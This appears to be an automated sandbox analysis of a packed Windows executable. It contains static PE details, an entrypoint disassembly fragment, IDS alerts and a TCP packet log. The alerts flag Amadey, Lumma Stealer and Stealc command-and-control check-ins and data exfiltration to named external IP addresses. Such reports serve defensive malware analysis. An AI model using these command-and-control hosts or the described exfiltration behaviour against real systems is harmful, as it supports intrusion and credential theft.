SSDEEP:	49152:ZpwSI8AJ9bO7Mq63GmoLZH/eg3b8Q2Ly6VOts1d6B:ZpNpAJ5WMq6WmoL13IQ8yVtY6B
TLSH:	C295337F0E72BB21C1C4AEF31CB30180A26C8B16D26D1B07EC9D73B6EAD7209695559C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8aa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE5C11F908Ah
setle byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE5C11FB085h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
aam 8Fh
xchg eax, edx
cmp al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a8340	0x10	wdmrrcke
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a82f0	0x18	wdmrrcke
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	d42beb2eabc56f96e74a921b66661d47	False	0.9981000936648501	data	7.982157141145561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a3000	0x200	df2b5979ae51a5ac5247fc7c9504f2b5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wdmrrcke	0x30e000	0x19b000	0x19a400	9704f93cb999556866db9d45cda5048d	False	0.9947488193174894	data	7.954042552670709	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rnnjldgn	0x4a9000	0x1000	0x400	214ad14ed27569b171071f24e4357ed3	False	0.740234375	data	5.8293520532682015	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4aa000	0x3000	0x2200	1ecb6ac54c4c0c9d88ffe4c1169977f7	False	0.06973805147058823	DOS executable (COM)	0.7777012036958352	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-29T20:04:46.785568+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-29T20:07:30.427972+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50068	185.215.113.16	80	TCP
2024-11-29T20:07:36.063260+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50067	TCP
2024-11-29T20:07:37.512819+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50069	185.215.113.43	80	TCP
2024-11-29T20:07:37.973486+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50070	172.67.165.166	443	TCP
2024-11-29T20:07:38.938180+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50070	172.67.165.166	443	TCP
2024-11-29T20:07:38.938180+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50070	172.67.165.166	443	TCP
2024-11-29T20:07:38.969414+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50071	185.215.113.16	80	TCP
2024-11-29T20:07:40.580165+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50072	172.67.165.166	443	TCP
2024-11-29T20:07:41.899252+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50072	172.67.165.166	443	TCP
2024-11-29T20:07:41.899252+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50072	172.67.165.166	443	TCP
2024-11-29T20:07:43.826066+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50073	172.67.165.166	443	TCP
2024-11-29T20:07:45.883706+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50074	185.215.113.43	80	TCP
2024-11-29T20:07:47.016062+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50076	172.67.165.166	443	TCP
2024-11-29T20:07:47.420903+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50075	185.215.113.206	80	TCP
2024-11-29T20:07:47.433848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50077	185.215.113.16	80	TCP
2024-11-29T20:07:49.798878+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50078	172.67.165.166	443	TCP
2024-11-29T20:07:50.362680+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50079	172.67.165.166	443	TCP
2024-11-29T20:07:51.167129+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50079	172.67.165.166	443	TCP
2024-11-29T20:07:51.167129+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50079	172.67.165.166	443	TCP
2024-11-29T20:07:52.504616+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50080	172.67.165.166	443	TCP
2024-11-29T20:07:53.068605+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50082	172.67.165.166	443	TCP
2024-11-29T20:07:53.310384+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50081	185.215.113.43	80	TCP
2024-11-29T20:07:53.348908+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50080	172.67.165.166	443	TCP
2024-11-29T20:07:53.348908+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50080	172.67.165.166	443	TCP
2024-11-29T20:07:54.881425+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50083	185.215.113.16	80	TCP
2024-11-29T20:07:55.333247+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50084	172.67.165.166	443	TCP
2024-11-29T20:07:57.263499+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50089	172.67.165.166	443	TCP
2024-11-29T20:07:58.147015+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50092	172.67.165.166	443	TCP
2024-11-29T20:07:59.202617+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50092	172.67.165.166	443	TCP
2024-11-29T20:08:01.251975+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50095	172.67.165.166	443	TCP
2024-11-29T20:08:04.375183+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50098	185.215.113.43	80	TCP
2024-11-29T20:08:05.431545+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50100	172.67.165.166	443	TCP
2024-11-29T20:08:17.604445+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50104	172.67.165.166	443	TCP
2024-11-29T20:08:18.436077+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50104	172.67.165.166	443	TCP
2024-11-29T20:08:18.436077+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50104	172.67.165.166	443	TCP
2024-11-29T20:08:26.071143+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50105	172.67.165.166	443	TCP
2024-11-29T20:08:27.000695+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50105	172.67.165.166	443	TCP
2024-11-29T20:08:27.000695+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50105	172.67.165.166	443	TCP
2024-11-29T20:08:28.897171+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50106	172.67.165.166	443	TCP
2024-11-29T20:08:32.036980+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50107	172.67.165.166	443	TCP
2024-11-29T20:08:34.561495+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50108	172.67.165.166	443	TCP
2024-11-29T20:08:37.724000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50109	172.67.165.166	443	TCP
2024-11-29T20:08:38.975447+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50109	172.67.165.166	443	TCP
2024-11-29T20:08:42.024156+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50110	172.67.165.166	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 20:04:08.003494978 CET	49730	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:08.123764038 CET	80	49730	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:08.123855114 CET	49730	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:08.124150991 CET	49730	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:08.244113922 CET	80	49730	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:09.567693949 CET	80	49730	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:09.567755938 CET	49730	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:11.084042072 CET	49730	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:11.084319115 CET	49731	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:11.204538107 CET	80	49731	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:11.204624891 CET	49731	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:11.211352110 CET	80	49730	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:11.211427927 CET	49730	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:11.247308969 CET	49731	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:11.367573023 CET	80	49731	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:12.670142889 CET	80	49731	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:12.670263052 CET	49731	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:14.298800945 CET	49731	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:14.299228907 CET	49732	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:14.419589043 CET	80	49732	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:14.419675112 CET	49732	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:14.419770956 CET	80	49731	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:14.419805050 CET	49732	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:14.419828892 CET	49731	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:14.539761066 CET	80	49732	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:15.832437992 CET	80	49732	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:15.834321022 CET	49732	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:17.346976995 CET	49732	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:17.347326994 CET	49735	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:17.467304945 CET	80	49735	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:17.467325926 CET	80	49732	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:17.467430115 CET	49732	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:17.467447996 CET	49735	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:17.467649937 CET	49735	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:17.587677002 CET	80	49735	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:18.921870947 CET	80	49735	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:18.922137022 CET	49735	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:20.553719044 CET	49735	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:20.555033922 CET	49738	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:20.674314022 CET	80	49735	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:20.674407005 CET	49735	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:20.675033092 CET	80	49738	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:20.675189972 CET	49738	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:20.675261974 CET	49738	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:20.795104980 CET	80	49738	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:22.127446890 CET	80	49738	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:22.127516985 CET	49738	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:23.642491102 CET	49738	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:23.642777920 CET	49741	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:23.763241053 CET	80	49741	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:23.763406992 CET	49741	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:23.763428926 CET	49741	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:23.763736963 CET	80	49738	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:23.763796091 CET	49738	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:23.886111021 CET	80	49741	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:25.170134068 CET	80	49741	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:25.170190096 CET	49741	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:26.798728943 CET	49741	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:26.798906088 CET	49742	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:26.919542074 CET	80	49742	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:26.919621944 CET	49742	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:26.919792891 CET	49742	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:26.919806957 CET	80	49741	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:26.919857025 CET	49741	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:27.041723967 CET	80	49742	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:28.332099915 CET	80	49742	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:28.332170010 CET	49742	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:29.845804930 CET	49742	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:29.846012115 CET	49743	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:29.965970039 CET	80	49743	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:29.966056108 CET	80	49742	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:29.966202021 CET	49742	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:29.966202974 CET	49743	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:29.966320992 CET	49743	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:30.086313009 CET	80	49743	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:31.312597036 CET	80	49743	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:31.312763929 CET	49743	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:32.941243887 CET	49743	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:32.941520929 CET	49744	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:33.064646959 CET	80	49744	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:33.064843893 CET	49744	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:33.064855099 CET	80	49743	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:33.064886093 CET	49744	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:33.064909935 CET	49743	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:33.184958935 CET	80	49744	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:34.414036036 CET	80	49744	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:34.414107084 CET	49744	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:35.923579931 CET	49744	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:35.923876047 CET	49745	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:36.044076920 CET	80	49745	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:36.044169903 CET	80	49744	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:36.044219971 CET	49745	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:36.044326067 CET	49744	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:36.044514894 CET	49745	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:36.167181015 CET	80	49745	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:37.431936979 CET	80	49745	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:37.432029009 CET	49745	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:39.064250946 CET	49745	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:39.064543009 CET	49746	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:39.184490919 CET	80	49746	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:39.184539080 CET	80	49745	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:39.184726954 CET	49745	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:39.184727907 CET	49746	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:39.184779882 CET	49746	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:39.304722071 CET	80	49746	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:40.570216894 CET	80	49746	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:40.570290089 CET	49746	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:42.080163002 CET	49746	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:42.080674887 CET	49747	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:42.200752974 CET	80	49747	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:42.200844049 CET	49747	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:42.201083899 CET	49747	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:42.207819939 CET	80	49746	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:42.207885981 CET	49746	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:42.321046114 CET	80	49747	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:43.599328041 CET	80	49747	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:43.599420071 CET	49747	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:45.222244024 CET	49747	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:45.222630024 CET	49748	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:45.342647076 CET	80	49747	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:45.342664957 CET	80	49748	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:45.342885017 CET	49747	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:45.342886925 CET	49748	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:45.342981100 CET	49748	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:45.462975025 CET	80	49748	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:46.785490990 CET	80	49748	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:46.785567999 CET	49748	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:48.299031019 CET	49748	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:48.299339056 CET	49749	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:48.419310093 CET	80	49749	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:48.419543982 CET	80	49748	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:48.419693947 CET	49748	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:48.419693947 CET	49749	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:48.419943094 CET	49749	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:48.543096066 CET	80	49749	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:49.853576899 CET	80	49749	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:49.853645086 CET	49749	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:51.611498117 CET	49749	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:51.611864090 CET	49750	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:51.731791973 CET	80	49750	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:51.731807947 CET	80	49749	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:51.731941938 CET	49749	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:51.732120991 CET	49750	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:51.732235909 CET	49750	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:51.852098942 CET	80	49750	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:53.067099094 CET	80	49750	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:53.067311049 CET	49750	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:54.581990957 CET	49750	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:54.582323074 CET	49751	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:54.702617884 CET	80	49751	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:54.702729940 CET	80	49750	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:54.702729940 CET	49751	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:54.702888012 CET	49750	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:54.702930927 CET	49751	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:54.823029995 CET	80	49751	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:56.132935047 CET	80	49751	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:56.133148909 CET	49751	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:57.751959085 CET	49751	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:57.752140999 CET	49754	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:57.872692108 CET	80	49754	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:57.872873068 CET	49754	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:57.872904062 CET	49754	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:57.873177052 CET	80	49751	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:57.873238087 CET	49751	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:04:57.993014097 CET	80	49754	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:59.254699945 CET	80	49754	185.215.113.43	192.168.2.4
Nov 29, 2024 20:04:59.254755020 CET	49754	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:00.767507076 CET	49754	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:00.767801046 CET	49755	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:00.887948990 CET	80	49755	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:00.888128042 CET	80	49754	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:00.888139009 CET	49755	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:00.888190031 CET	49754	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:00.888336897 CET	49755	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:01.008407116 CET	80	49755	185.215.113.43	192.168.2.4
